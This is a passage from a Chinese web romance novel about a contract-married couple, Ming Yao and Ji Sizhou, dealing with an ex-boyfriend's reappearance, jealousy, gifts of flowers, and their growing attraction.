可有了饭搭子之后到底是不一样了,她每天都能吃一大碗白米饭,食量见长,照镜子的时候似乎看到脸颊两边也开始圆润了起来。
季斯舟给她递过去一张纸巾,明遥顺势便擦干了手,“有什么需要我帮忙的吗?”
季斯舟道:“你就帮忙坐着吧。”
那杯花茶把明遥今天耽误了下班的火气泻了大半,她摩挲着杯壁,斟酌着自己要怎么开口。
徐承淮河自己毕竟有那一层特殊的关系在,而且她知道季斯舟是在意的。现在准备接下徐承淮的单子,肯定得和季斯舟知会一声。
找个时机,找个方式……要合理的,不会让他们又吵起来的。
思索间,放在一旁的手机又接连响了好几声,明遥道:“季斯舟,你手机响了,好像很多消息。”
季斯舟在切菜:“你帮我看看?”
行的。
明遥拿过他手机,看的出来季斯舟这人应该没秘密,他手机没上锁。
打开就是微信的界面,置顶群聊有几条,但明遥的目光被置顶之下的那个名字吸引。
谢庭笙。
消息:+3
【图片】
【舟哥,你老婆怎么和我们导师的男朋友不清不楚?】
【上次徐承淮来我们聚会,明遥看他的眼神就怪怪的,他们之间是不是有点什么?】
明遥拿着手机走过去,摆到季斯舟的面前:“喏。”
那张照片明遥已经点开看过了,季斯舟的视线扫到,他点开了两秒就关上了。
明遥:“我看谢小姐的消息还是你自己来回的比较好。”
季斯舟接过手机,当着明遥的面把谢庭笙放进了黑名单。
“这就是我的回复。”
明遥继续喝花茶,慢悠悠道:“做的不错,可是今天有这个谢小姐,不知道明天还会不会有方小姐,许小姐,顾小姐。”
季斯舟沉声道:“我不会相信这些捕风捉影,他来找你了?”
明遥道:“你先把刀放下,我再和你说经过。”
“……”季斯舟一顿,“我刚才在切菜而已。”
他放好了,顺手看了家族群里的消息,
【季见宜:哟,看到今天收到了什么东西,好啊,现在你和明遥之间都有人来挑拨离间了是吧?】
【季见宜:弟你能不能长点心,好不容易娶到的媳妇你都守不住,现在还没把人拉到家里的群来,就是怕我们乱说话说漏嘴了是不是,我们都懂的】
【方姿:极限五缺一】
【方姿:我儿媳妇你周末必须给我带回来!】
季斯舟:……
镜头的照片,明遥和徐承淮面对面坐着,而徐承淮的手放在明遥的手腕上,握着。两人的眼神在空中教会。
这个角度看上去,明遥的婚戒也看不到。
季斯舟觉得自己有必要把手机设置一个密码,还好家族群里说的话没被明遥看见,不然绝对会露馅。
明遥和徐承淮的照片他看了两遍,心里有点异样,但是不能表露出来。
明遥道:“徐承淮来找我,我拒绝了,这应该就是那时候被人拍的。他托我帮他评估家里的一件古董,我同意了。你放心,我只会出面和他谈下这个合作,等之后的对接交给茗茗。”
季斯舟点头,却转身又拿出几样食材,随口说:“他很喜欢你。”
“我不喜欢他。”明遥回道,“我和他谈了两个半月发现我确实不喜欢他,本来就是和平分手。”
还有一个关键的原因。
那时候的徐承淮分明只是说试一试,可是后来他不满足于简单的试试。
季斯舟道:“你是很正确的,一个分手之后还会来她老公面前叫嚣的男人,算不上什么男人。”
明遥噗一声,没忍住笑了:“他和你比,哪哪都不是。”
她说的是实话,季斯舟的条件不管从哪里都碾压其他人,而且他自己也有着么深刻的认知。
一小时后,两人坐在桌前吃饭,明遥才发现还多了三个菜。
醋溜鱼,糖醋排骨,还有个醋溜土豆丝。
她看了一眼季斯舟,夸得很自然:“看着真不错。”
“是吗?”季斯舟不动声色地在她的对面坐下,“你尝尝。”
明遥惊叹道:“我们就两个人,你做两个菜,我们哪里吃的完!”
什么条件的人啊,在家里享受米其林餐厅。
季斯舟说:“有时候做菜也要根据厨子的心情去做安排,我忽然感觉这几道菜很适合今天,所以就做了。”
明遥点点头:“确实,咱们现在这天气够热的,吃点酸的好开胃,你做的菜好吃可不能浪费了,吃不完的我们明天打包去公司当便当。”
季斯舟过了好久才嗯一声说,“吃饭吧。”
饭后,季斯舟自己在厨房里洗碗,听着淅沥沥的水声,心绪沉浮。
客厅的沙发上,明遥好像在看蜡笔小新,她被逗得笑出声来。
天色早已昏暗,静谧的灯光和电视的白噪,糅合着妻子的笑语,这是季斯舟从来有过的,对于家的想象,此刻化为了实质。
季斯舟珍惜这样的时刻,明遥在迸发着蓬勃的生命力,他很喜欢这朵娇艳欲滴的鲜花。
季斯舟洗个碗,自己把自己哄好了。
莫须有的担心,莫名其妙的醋。
往常都是他提着垃圾出来,然后让明遥和自己一起去倒垃圾,然后再回自己那边,今天明遥自己来了厨房喊他:“季斯舟。”
季斯舟背着她,正在提垃圾袋,就听到明遥问。
“你晚上为什么要给我吃那么多醋?”
季斯舟转身,明遥盯着他:“说实话。”
她是不会哄人的。
刚才明遥听见季斯舟自己笑了,身上的感觉也变得柔和了下来,所以明遥觉得自己可以和季斯舟去沟通了。
“我不是什么藏着掖着的人,不想猜,我觉得我们应该可以沟通。”明遥皱眉,“吃醋的人是你?”
季斯舟听到她问的时候,心头一跳。有两个念头在不停地拉扯,一个小人让他快点把心里的一切都说出来,告诉明遥,还有一个念头在说不可以,不可以把一切将出来,如果说出来了,就会把明遥越推越远。
明遥她目前的情况,接受不了这些。
他已经等了这么多年了,还着急这一时半会儿吗?
“抱歉。”季斯舟回答,“是我的问题。”
明遥似笑非笑地盯着季斯舟:“你要我解释吗?”
问完之后没给季斯舟回答的机会就自己说,“我没什么好跟你解释的。”
一张错位的图片而已,这事情不是她的问题。
季斯舟的眼神,明遥看不明白,她知道季斯舟是个喜怒不形于色的人,让人根本就猜不透他在想什么。
他做了一桌子的菜,酸的。让明遥觉得他在吃醋。可是他的模样又很平静。
季斯舟道:“不是,我的意思不是这个。”
“那是什么?”
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明遥换好鞋出门,季斯舟忙追上来。明遥就加快脚步,只给他一个后脑勺。
“等等我。”
明遥道:“不。”她的语气是笑着的。
其实没有生气,是季斯舟自己说的以后都可以凭自己喜好做事,她照做了。现在她就是逗逗季斯舟。
她自己都还没意识到,在面对季斯舟的时候,她很放松。
季斯舟腿长,没多久就追上了她:“我只是怕你吃亏,他捏痛你没有?”
明遥微微睁大了眼睛:“什么?”
她已经做好了是季斯舟来找自己兴师问罪的准备,说一些什么你怎么可以在和我结婚的时候还和别的男人爆出这样的照片这种屁话,这样自己肯定要好好地和季斯舟聊一聊两人以后的规则,结果他说:
“怕你觉得不舒服而已,没别的,也没有怀疑你。”
明遥:?
她可以接受季斯舟的质疑,结果季斯舟用温和来对待她。反倒让她觉得心里怪不是滋味的……
季斯舟说:“我说错了吗?”
明遥有点呆滞:“没说错。”
她有一种自己准备好了和季斯舟对弈但是一拳打到了棉花上的感觉,愣在那儿半个字都说不出来,季斯舟笑着问她:“你是想说点什么?”
嗯……行。
明遥一身的气焰在此时完全熄灭。
季斯舟道:“走吧,去倒垃圾。”
她温吞地跟在后面,一瞬间还以为季斯舟说,走吧,垃圾。
明遥说:“明天徐承淮还会过来,他今天没拿实物,明天要拿过来给我看的。”
明遥老老实实地交代了。
季斯舟:“嗯,可以,你可以把他的评估费收贵一点。”
明遥忍不住笑了:“心好黑啊你,商人。”
“别人只会说,他是你的前任,还来找你合作,说明他还对你意有所图。”明遥说,“季斯舟,你也觉得吗?”
“他是你的前任,现在既然能够来找你合作,说明你的水平确实过硬。”季斯舟说,“我只会用公平的角度来想,而不是先入为主。”
所以,他做到了,在看到这张照片的时候也没有先入为主。
明遥安静了一会儿,再深深地看着季斯舟。
还是得季斯舟,他真大方。
明遥说:“只是还没找到合适的拍卖行,如果我自己有一家拍卖行的话,会更方便运作那些藏品一点。”
季斯舟说:“这个暂且不提,有件事情需要提前跟你说。”
明遥:“嗯?”
“我们的生活都会暴露在大家的目光之下,所以才会有这样断章取义的照片出现,我不想让你之后为难,所以我想了个办法。”季斯舟说,“在你和徐承淮合作的期间,我去接你下班可以吗?”
他是征询的语气,眼神认真。
这人是不是已经吃准了自己是吃软不吃硬的性格……所以在自己面前,一直温和有礼,明遥很难有什么反驳的想法。
明遥点头同意:“行。”
“明天我来接你。”季斯舟就这样定下,“周五了,到时候我们一起回家。”
明遥也应下。季斯舟把她送到了家,明遥看着他要往回走,忽然喊住了季斯舟:“季斯舟,你和我想象中的有点不一样。”
季斯舟也笑:“那我也希望,你不要把我一直当成那么古板的模样。”
“明遥,我不会误会你,作为丈夫,无条件相信的妻子就是我该做的事情,你不用担心我会误会,就尽可能地去做你想做的事情吧,没有后顾之忧。”
明遥失笑:“季斯舟,这就是结婚的好处吗。”
“有一点不太对,”季斯舟道,“这是和我结婚的好处。”
夜色下的路灯下,男人宽肩长腿,站在那里犹如一道风景,笑起来的时候,黑眸里染上暖色光影,低声说:“我和别的男人不同,你会知道的。”
33. 第 33 章
回到自己这边,季斯舟这次将灯全打开了。
他看着玄关处的那双女士拖鞋,唇边泛起了柔和的弧度。
电视还没关,不知道在放什么动画片,季斯舟对这个了解不多,他没关,坐在之前明遥的位置,打开了手机。
【骆璟:你怎么样啊?我猜今天应该有人吃醋吃几坛了吧?】
季斯舟轻呵一声。
骆璟会知道也不足为奇,他成天就是上网,一个八卦收集器。
季斯舟这几天忙碌,除了日常必要的打卡,已经没有再去琢磨恋狗谈老师的帖子了。
他打字回复:【我有我的节奏,你别管我。】
这是他上网学来的。明遥不是不喜欢他严肃刻板?他可以慢慢学习。
骆璟无言以对,打字嘲他:【是是是,你追人的节奏就是天天和你老婆去倒垃圾。】
季斯舟不想理他,但骆璟又发来消息问:【今天去恋狗谈老师那里发言了吗?】
前段时间,热衷上网冲浪的骆璟找到了博主恋爱狗都不谈的主页,并且热切的分享给了季斯舟,还说自己也在打卡。
季斯舟没有暴露自己的id,不然又会成为骆璟口中的谈资,他打字:【还没,就去。】
他娴熟地去群里打完卡,又给明遥发了晚安,得到回复之后上床入眠。他是个生活规律的男人,向来如此。
*
明遥第二天出门,季斯舟的车已经在门口等她,早餐也随之放到她的手上。
往常自己开车上班,她没办法在路上吃早餐,到底有些匆忙。
她是习惯了,但没想到季斯舟送自己来上班能让公司这么轰动,从车上下来开始,大家的目光全在自己的身上。
她微微扬起下巴,一一扫过,那些人又将视线移开。
“明遥姐,今天姐夫送你来的啊!好幸福!”钟茗茗急速【跑来,】已然变成了磕cp第一人,“你们真的好搭哦!我说真的。”
“姐夫……哦不,季总好。”
季斯舟的脸色有了一丝淡淡的笑意,“嗯,上班去吧。”
钟茗茗:天哪,结了婚的季总太不一样了,居然开始对我们笑了!
明遥捏着钟茗茗的肩膀让她和自己进去,对季斯舟挥手:“你快去吧,我进去了。”
季斯舟点头。
徐承淮来的时候,车和季斯舟的车擦身而过。
两个男人的视线短暂的交汇,季斯舟面无表情。徐承淮深深地感到,自己在季斯舟的面前输的体无完肤。
因为在明遥身边的人是他,他才是真正的赢家。
明遥上班去见徐承淮,一进办公室就看到徐承淮进来,他的手上还带着一束海王星玫瑰,层层叠叠。
想谈生意就谈生意,还搞这些乱七八糟的东西。
明遥皱起眉:“徐先生,我花粉过敏。”
“别误会,我只是想让你心情好点,所以才带了一束花来。”徐承淮道,“你以前说过喜欢。”
明遥:“我只会在生活里喜欢花,现在你和我的生活无关,我们工作是工作,花你到时候拿走。”
她一点也没看那束花,坐下就拿出了电脑,开机。
徐承淮:“遥遥,别对我这样生疏……你不喜欢,我明天不送了就是,你别生气,我们就算分了手,也还是朋友。”
“算不上,现在你和我关系只是客户。”
明遥淡淡地看着她,真是觉得有些恼火。
昨天被拍到的照片能那么快传到季斯舟的手机里,让明遥更加清楚在生活上要多加注意。
外界的形象对季家来说非常重要,她在签下合约的时候就清楚。
她直接把钟茗茗叫了过来,拿上那束花。
徐承淮的眼睛一亮。
明遥道:“茗茗,这样,你把这束花的价格记下来,然后到时候折算在周先生的代理费里,我们不能占便宜。”
“好的明经理。”钟茗茗雀跃地拿着花,“那这花?”
明遥:“拿走吧,我不喜欢办公室里面放花。”
徐承淮:“……”
“现在我们可以开始聊合同了吗,周先生?”明遥抬眸微笑。
徐承淮知道自己拗不过她,索性将带来的定制首饰盒递给明遥。
明遥不再多言,戴好了手套,专注地查看簪子的成色,做记录,神情认真。
她专心起来,别的事情都成了虚的。明亮的双眸充满柔情,但那份温柔只对着藏品。
很吸引人。
他的眼神复杂,垂在身侧的手几次握拳,将自己想要出口的话统统咽下。他如今深刻地意识到,自己从未真正的靠近过明遥。
抽身离开的时候明遥无比洒脱,久久忘不掉的是他。
一个上午后,徐承淮和明遥签订了合同,徐承淮提出要和明遥一起吃饭,但是明遥拒绝了。
徐承淮说:“那我以后还能不能找你?”
明遥的语气疏离:“藏品和合同上,你有什么需要了解的可以联系我的助理钟茗茗,她会接待。”
“关于簪子拍卖的时间,定下的拍卖行,之后会如何运作它的价值,我们会在一周后把方案给你。”
她已经表明了之后不会再和徐承淮联系的意思,他要是想维持体面,那自然会懂。
明遥之后要做的事情可多了去了,两个月后公司进行股东大会,那是她的机会,手上握着实绩去参加,话语权会更高。
从进入公司的第一天起,她所有的谋划,都是为了能彻底地接管公司,可不是随随便便玩的。
另一边,周同特助发挥着他身为季斯舟特助该干的事情。
“季总,今天太太的周姓客户为她送了一束花。”
季斯舟刚结束了一场短暂的收购会议,松了松领带,“继续说。”
“但太太没收,并且把这束花作为折现费放进了合同里。”周特助说,“太太真聪明。”
季斯舟便笑了,身体跟着舒适地往后躺:“她一直都是个聪明人。”
除了在自己的感情上。
季斯舟道:“帮我定一束花,不要玫瑰,白色芍药和铃兰,要送到她公司去。”他知道明遥喜欢这个。
周特助大惊:“季总,可是太太已经拒绝了那位周先生的花,她会不会……”
“去做。”周特助立马止声。
明遥喜欢花,她只是没有接受徐承淮的花而已。季斯舟曾经在明遥的身后站了许久,他自然知道明遥爱收花,她喜欢那种鲜活的生命力,所以季斯舟知道明遥一定会收自己的花,他是个会投其所好的高手。
当季斯舟的这束花送到明遥公司的时候,明遥果然眉开眼笑。
“还挺会送礼物。”
芍药开的极好,素色又不妖艳,小铃兰一串一串可爱的相得益彰。这才是她想要摆在办公室的花。
钟茗茗道:“妈呀!根本不止999朵!季总是不是吃醋了,他肯定是知道了徐承淮来给你送花,所以才给你定了那么多?”
“吃醋不至于,但他肯定是知道了,这是在给我长面子。”明遥笑得惬意,她让钟茗茗留出了一小束花在自己的办公室里,剩下的分成散的,给每个员的工位上都送了两朵,美曰其名:不能浪漫。
整个明氏上下,都充斥着甜蜜清雅的花香。
员工们都磕疯了。
【季总和明经理太甜了吧!爱屋及乌到给所有人都有份!啊啊啊啊这一枝花都够我发个朋友圈炫耀一下的!】
【嘤,这品种是不是不同,我在花店没见过这么漂亮的诶】
【捶打我的直男男友,恋爱后的第一束花居然是上司的老公给的】
明遥拍了自己把花放在办公桌的照片,发给季斯舟。
【送这么多?】
季斯舟回:【庆祝明经理拿下一个大项目。】
明遥回消息的时候脸上带着笑:【谢谢季总,花也同样投其所好。】
季斯舟:【落日号再过一段时间就会停留在港口,到时候可以去看看。】
之前拍下后还有许多手续要办,这些都由季斯舟来敲定,明遥从来没管过。要不是现在季斯舟提起,她都快忘记了这艘小艇。
时间一晃而过,她和季斯舟结婚已经快三个月。而三个月前刚回国的她,还觉得前路渺渺,困难的日子一定会过的很漫长。
原来不会。
那日明遥说了一句喜欢和谢谢,季斯舟就接连送了一个星期的花。
明氏的员工这一周都与有荣焉,处处飘起花香,连上班的心情都不再沉重。
他们也自发地聊起——明经理和季总的感情可真好啊,这算什么商业联姻?分明是自由恋爱,看这腻歪劲儿。
甘佳君也日日在办公室里坐着,听到不少明遥让人将鲜花送给员工的事,第一天还让人也端来了她的办公室。
“搞什么乱七八糟的东西。”她嗤了一声,结果第二天,花就再也没送来了。
可是别的部门全都有,开会的时候连会议室里都有一束,有董事会的人来公司,还感慨说:“有明遥来了还是好,公司有了鲜活的气息,你看着两天来上班的人,各个脸上喜气洋洋的。这花不太像花,有点像他俩的
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喜糖呢……”
那天季斯舟送来的是古意的瑞云殿,垂坠卷起的花丝典雅得当,恰好中了董事会这些中老年年龄的意,说话的老董事手里还拿着一朵,笑眯眯地说:“你没有吗?我昨天和季老爷子打高尔夫,他说全城的花已经差不多给他孙子送完了。”
可能这只是随口一说,但甘佳君气的牙痒痒,心里骂了一句:“做作!”
最后是明遥觉得办公室里放不下了,才让季斯舟停下。
“看腻了!不要花了,我每天都叫人修剪了去拿给员工,人家也麻烦。”明遥找了个理由去和季斯舟商量,“现在徐承淮又没再来约我了,不用再做给外人看。”
花连送一周,人不来就不像话了。这周五,季斯舟提前下班,来到了明遥的办公室。
他听见明遥这样说,轻声问:“季太太,谁说我在做戏?”
明遥也笑一声,与他势均力敌地对视:“季斯舟,你是想着把你的公司赔给我了?”
她才不上当,最近季斯舟老这样,时不时的会和自己说一些和以前不一定的话,明遥摸不准,季斯舟是认真的还是玩笑。
从那次接吻之后,她和季斯舟之间的关系就变的暧昧不清。
明遥后知后觉地想,如果不是之前和郑满栀打的那个赌,她和季斯舟的关系,在车里接吻之后,就不可能再回到单纯的界限了。
她动摇了。
在什么时候呢?
是在看到那片漂亮的雪花落下的时候,还是在望见那一片萤火虫里安静等待着自己的人?
季斯舟没了懒散的模样,径直走到了明遥的面前。
“明遥,我们需要正式谈谈。”
她是个愿赌服输的人。
那次在车上的接吻,是她的一次试探。
明遥问了季斯舟是不是喜欢自己,可是季斯舟没有回答。
她和季斯舟之间,应该也只有这两次的试探。
季斯舟的答案几乎是肯定的,明遥知道,她如果现在再问一遍季斯舟你喜欢我吗,她可能会得到一个满意的答案——
可是,徐承淮的出现让她忽然醒了过来,就好像戳破了梦幻的泡沫,露出了刺眼的现实。
她无法进入长久稳定的关系,哪怕她一开始是愿意的,可也不知什么时候会犹如应激反应一样,变得厌弃和倦怠。
从父亲再娶后,她对这种亲密关系,尤其是婚姻就有骨子里的不信任,这是她的症结所在。
或许是三个月,或许是五个月,或许是两个半月。
她大可以与季斯舟陷入一场热恋,那之后呢?她和季斯舟的合约足有一年,剩下的那些日子,她和季斯舟还能不能维持好合作伙伴的关系都不一定。
她必须要保持清醒。
闻着清淡的花香,明遥的声音冷了下来。
“我们没有什么好谈的,以后也不会。如果你要谈的和我想的一样,”明遥看向他的眼睛,“我拒绝,好吗?”
明遥知道季斯舟从不逼她,他会同意。
她还以为,在自己说完这句话之后,季斯舟明白自己心里的意思,就不会再和自己言语了。
可是季斯舟没有。
他反而从宽阔的沙发上起身,走近她,身上凛然的气场也迫近了她,全部复温和模样。
男人道:“明遥,你的心思不难猜,但是我希望你可以自己告诉我,那些你心里的害怕。”
“我不会伤害你,但前提是,你也要信任我。”
明遥第一次避开了他的眼神,垂眸想了一会儿。她知道,在季斯舟那里,那个两人的吻过不去了。
她为自己即将说出来的话感到心虚,但没办法,还是要讲的。
“那个吻是意外。”明遥说,“你要玩我陪你玩,但是合约到了之后,我们什么关系都没有。”
“你把我们当什么了,玩笑?儿戏?”季斯舟被她没所谓的声音惹恼,但很快季斯舟就反应过来,明遥在说气话,她在用自己的刺扎他。
好逼他走。
如何才能让一个浑身都是刺已经拿起了武器的人平静下来?
明遥重新抬头凝望他,“那就当做一场玩笑吧。”
季斯舟在两秒钟想到了两种解答方案,他本想选择更为温和的那一种,可是在看见明遥眼睛的那一刻,他说出的便是:
“玩,可以。”季斯舟看着她,“你想怎么和我玩?”
明遥不甘示弱地回:“……成年人的各取所需。”她话不用说明,季斯舟是能懂的吧?
在她面前的季斯舟眯了眯眼:“今晚,我回你那边。”
34. 第 34 章
在回家的车上,两人自然又是一阵沉默。
明遥脑子里转的飞快,始终在思考着刚刚自己和季斯舟是在干嘛,呛也不是在呛架,但偏偏就让自己一时恼怒,竟然……就顺着季斯舟的思路说了下去。
不然怎么可能会让他说出最后那句话!
然后自己还说了——好。
这就叫做一时怄气最后堵死的是自己。
她都不知道自己当时拿来的心,就那么把心里的想法给说出去了。
想必季斯舟现在对自己也不知道该说什么。
要是之前还好,偏偏今天的周五。
他们答应了方姿,明天要回家中吃饭,所以季斯舟提出今天直接在她那边睡……无可厚非,还方便。
明遥在手机上把字打的飞快:【不想玩了怎么办!】
那边的郑满栀先回了一个满屏的哈哈哈哈哈哈,嘲笑之情溢于言表。接着又打过来:【玩当然就好好的玩下去啊,你是高手,别怕更不能认输!我之前就说了你肯定可以赢得过季斯舟的!】
明遥不知道郑满栀哪来的信心觉得自己可以玩得过季斯舟那老狐狸,哪怕季斯舟此前在公众的面前从未有过私生活透露,也就是说,他没有恋情被公布过。
暂时可以认为他没有谈过恋爱,可能在感情上一窍不通。
郑满栀应该就是这么觉得的,所以才说自己肯定能赢,可明遥觉得他不像。
明遥认命道:【现在就想认输了】
郑满栀豪气劝她:【你自己说出来的话那必须得你自己负责,再说了,不就是睡一觉吗?法定夫妻,合法睡觉,你俩还不知道是谁吃亏呢】
郑满栀:【难不成你是害羞了?】
明遥:“……”
到底是好朋友,一句话浅浅刺中眉心。
“下班了,还很忙碌吗?”
季斯舟见明遥看向手机的表情很精彩,时而纠结时而为难时而又冷漠,她都不知道自己其实已经看她许久了。
“不,没有。”明遥否认,立刻将手机收了起来。消息都没来得及回,她和郑满栀的聊天记录,一定不能让季斯舟看见。
这些记录都太私人了,说是一回事,而被讨论的人若是发现了又是另一回事。
她和季斯舟之间不该这样的,这和明遥之前的经验截然不同。季斯舟的温和是他完美的伪装,她到了此刻才明白,这男人的危险程度非常人。
是她之前大意了。
季斯舟下班后便安生地在厨房里做饭,她竟然还真觉得季斯舟就是无害的厨男。
糊涂到底了,明遥捏着手机,思绪飘得老远。回答完季斯舟,这人便不吭声了,而她的手机却再次响了起来。
明遥一瞥,视线立刻顿住。
【我的遥遥宝贝,是你自己的心守不住了,才觉得难办。】
明遥:??
说什么乱七八糟的话?
季斯舟道:“出什么事了?”
明遥才把自己的表情一收,面不改色地扯谎:“没事,小满可能喝醉了在找我说胡话,我等会儿去问问。”
季斯舟道:“那停车你先打电话,不急。”
他让周助将车先靠边停了,还体贴地下车。明遥没想到他一阵动作如此顺畅,想拒绝都来不及。
只好装模作样地拨通了郑满栀的电话:“你什么意思?”
郑满栀在那边含笑道:“还能是什么意思?宝贝,你坠入爱河了。好歹你也看过那么多追你的人,怎么连自己的心都看不清。”
明遥沉默。她还在消化郑满栀说的话,她觉得这话为什么都是中国字,可是连在一起她便觉得看不明白了。
郑满栀又道:“也是,虽然你看多了那些男人追逐你的样子,但你又没真正动过心,不然……这叫初恋?”
明遥差点把手机丢出去。
“别乱说。”明遥压低了声音,指尖紧紧攀上阳台的雕花护栏:“我怎么可能喜欢上他!”
“你急什么?”郑满栀在另一边安心地呼气。
明遥着急,郑满栀反而觉得高兴,说明明遥是来真的,哪怕现在她自己还没有意识到。
虽说季斯舟和明遥两人有协议,可季家早已公示所有人明遥是季家唯一的儿媳,不用担忧季家人对明遥不好。
只要明遥自己心中想通了,这是一门绝佳又匹配的婚事。
明遥深呼一口气:“你知道的,我不行。”
郑满栀道:“没关系,季斯舟行就行。”
季斯舟在后面,仍旧在留心车内的动静。他觉得明遥的心情好像不是很好,那样的凝重。
刚走过来几步,就隐隐听见明遥在说什么不行。
夜色寂静,他听力好,不巧——把那边用调侃的声音说的“季斯舟行就行”也听了个真切。
季斯舟的脚步蓦然顿住,选择了重新回到床边,不去打扰她们闺蜜间的对话。
看来是没什么事了……竟然还有心思来打趣这种事。
明遥皱眉,还是很坚持:“……不行,我根本就不知道自己什么时候会发作。”
郑满栀:“这么说,你是承认自己喜欢他了?”
这是好事!以前的明遥可不会去承认自己喜欢上了谁,以前的明遥只会说:这个还不错,在追我。
语气轻飘飘的,一听就知道是在玩。
医生说让她去信任别人,要真正学会去爱人,她去尝试了,很多次,但都失败了。
圈子里流传她爱玩,男朋友数不胜数,且不说明遥根本就没答应那些人,再者——
那些和明遥一起约过会的男人,哪个不说一句自己愿意?
郑满栀:“你自己好好享受去,我不打扰你,到时候记得和你姐妹分享。”
“喂!歪?歪?!”再喊都没用,因为郑满栀居然把电话就这么挂了。
明遥:……
进了别墅区,季斯舟让周助先开车送明遥回家,自己又准备出去。
明遥出声:“你干什么去?”
“拿行李。”
明遥瞬间脸红了起来,“你……你说真的。”
“君无戏言。”季斯舟说完就走了出去,再回来的时候,手上除了行李箱,还提着菜,“今晚吃猪脚煲和蒜香排骨可以吗?蔬菜我买了你爱吃的西芹。”
他怎么知道自己喜欢吃什么的?明遥来不及想这个,追到厨房里:“你真的要和我住在一起。”
“和一个你不喜欢的人住到一起。”
季斯舟慢条斯理地穿上了围裙,一点也没被明遥的话影响,“嗯。我们不是说好了,今晚我们还要一个房间里睡。”
他的双手撑在中岛台的大理石上,微微弯腰,肩宽更甚,带着极强的压迫感垂眸看她。
“明遥,我不知道你在担心什么。你怕我,是因为单单怕我,还是怕别的?”
明遥这人向来倔强,她就是吃软不吃硬。
她一噎,已经听懂了季斯舟的言外之意,回怼道:“随便,我才不会喜欢上你。”
干嘛要怕自己喜欢上他?臭男人,还真美上了。
她气鼓鼓地回到了沙发上,也不和季斯舟说话,自己看自己的动物世界纪录片。
“过来吃饭。”
明遥哦了声,慢吞吞地挪过去,才发现餐桌里的桌椅都换过了一遭,上面还铺上了软垫。
“什么时候换的?”
“昨晚,你不是坐着不舒服么?前天吃饭的时候,我看到你动了两下。”季斯舟知道明遥是豌豆公主的属性,她不像是季家的教育理念,儿子养的很粗糙,所以一开始他并没有注意到这一点。
还好只要是明遥的事情,季斯舟都在足够的观察力,椅子太硬了,明遥坐得不舒服。他在群里说了一声,昨日季见宜就叫人安排了新的定制椅子过来装好了。
“你怎么知道的?”
“你很多事情我都知道,只要想去了解你,有很多的渠道可以让我知道,。”
明遥不自觉咬着筷子,可是她觉得自己一点都不了解季斯舟。
季斯舟用公筷为她夹了蒜香排骨到碗里,外加两块大西芹。明遥脑袋里在想事情,没设防就吃了。外皮被炸酥脆咸香的排骨里面软糯,一咬就脱骨,在唇舌间留下香气,再吃一口清淡鲜香的芹菜,中和的刚刚好。
真正喜欢又珍视的人,明遥反而不忍心就这样开始。
对于自己来说,一段关系的开始,就注定了要去结束。
季斯舟不知道是想到了什么,从里面抽出一个柔软的方形枕,放进了明遥坐着座椅后面。
“这样会舒服点。”男人的声音从她身后响起,很快就又回到了她的对面。
明遥眨了眨眼睛,有些不解,脑海里出现电光火石,刹那间恍惚了。
她怎么觉得这么熟悉……
季斯舟做的种种,都尤为绅士,可她偏偏时而能感觉到季斯舟本性是很危险的人,他是在为自己收敛了气息,成为一个温和的季斯舟。
怎么说,居然感觉这人好像还有点……故意的意思。
就是男狐狸吧!!
季斯舟:“先吃饭,一会儿凉了。”
明遥便把脑袋里其他的想法抛来,先专注地对付起食物。
“季斯舟,你做饭的水平是真不错。”明遥接过季斯舟递来的纸巾擦嘴巴,“颠覆我对一些人的刻板印象。”
季斯舟不动声色地问:“你的意思是说,你遇到的人都不会做饭给你吃。”
“不会,都是出去吃的,所以我在外面忍受了西餐那么久,回国看到西餐就想吐,除非是为了早上图方便……”
刚说完,明遥便撞上了季斯舟深不可测的眼神,那冷冰冰的,让人琢磨不透的男人在这瞬间又回来了。
季斯舟笑了一声,可是明遥觉得自己脖子后面,密密麻麻的鸡皮疙瘩都起来了。
她急忙夹起一块薄薄的肉片到自己嘴里,还未咀嚼,便听见季斯舟的声音:“你碰到的他们都不够好。”
“咳咳咳!”还以为季斯舟没听懂,这下完全暴露,明遥突兀地被辣椒油呛了一下,葱白指尖无意识地往前伸,那人已经听懂她的肢体语言,端起水急忙送到她唇边。
宽厚的手指在她背后轻拍,明遥哑着嗓子:“不是你想的那样,那都是过去的事情,我都不记得了。”
“先别说话,缓一缓。”季斯舟低头看到明遥发红的脸颊和脖颈的皮肤,还在轻轻拍着她的后背,懊悔地垂眸,“抱歉,我提出来也不是那个意思。”
“没,没事了。”明遥自觉理亏,说到底还不是自己主动暴露的,她动了动,背后的手还轻轻挨在她的背上,明遥无知无觉。
她说:“还是因为你做的饭我才这样夸。”
季斯舟回
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到原位,声音清浅:“你以后想吃的就告诉我,我煮给你吃。”
他伸手来,把明遥手边的水杯重新满上了温水,纸巾、需要用的新筷勺,他安排的妥当。
明遥望着这些,吃着吃着就觉得不对劲起来。怎么搞的有这么体贴?她觉得很熟悉,到底是哪里熟悉……
明遥在自己的脑海中拼命地搜索,终于在一个瞬间抓住了那一丝细枝末节,拽出。
和对方吃饭的时候要记得体贴,要展现自己的魅力。
不要选择难咬的食物。
适当的时候,要记得提升一下双方的暧昧氛围……
种种的对应,明遥在瞬间顿悟。
这不就是自己写的恋爱攻略帖子?!
明遥顿时抬头,一瞬不瞬地盯着季斯舟。
季斯舟拿筷子的手一顿:“嗯?”
“没事。”明遥低头猛炫饭,决定晚上要回去帖子里写一条:请时刻践行!!
季斯舟应该只是巧合做了帖子里的那些事,居然让她觉得很舒服。
这说明了什么?
自己随手瞎写的帖子技术水平还真是不错啊!
优秀!
饭后,她窝在沙发上看电视,磨磨蹭蹭,没回房间。
季斯舟在厨房洗碗,做收拾,还拿着垃圾出去倒了,回来之后和明遥打了个招呼,自己拿着电脑进书房处理公务去了。
明遥反复踱步。
季斯舟这是个什么意思?她怎么有点看不明白了,早说了这男人深不可测,惹是惹不得的。
明遥感觉今晚他们应该不至于发生什么,季斯舟是正人君子,应该只是和自己开个玩笑,不是真的要和自己发生什么吧。
再说,她和季斯舟也不是没有一起睡过,真要发生了什么——她还能让自己吃亏?她磨不死季斯舟才怪。
想到这里,明遥又微微放心。
她干脆也拿起笔记本,开始查看徐承淮的那件藏品适合在哪个拍卖行进行竞拍。
其实徐家的条件不错,但不知为何徐承淮始终没有找到心仪的拍行。他上一家送去的拍行属于国内排名第四,行业佼佼者。但藏品也多,给他安排不了最近上拍,拍价也没到他心仪的价格。
九百万。
明遥仔细地将图片放大看细节,那种级别的翡翠,已经放进专门的保养仓里专人看顾,就连她也只来看图片。
说实在的,那边确实报低了,这藏品拍价越高,她能得到的评估代理费也越高,这是有钱人的游戏,明遥深谙此道。
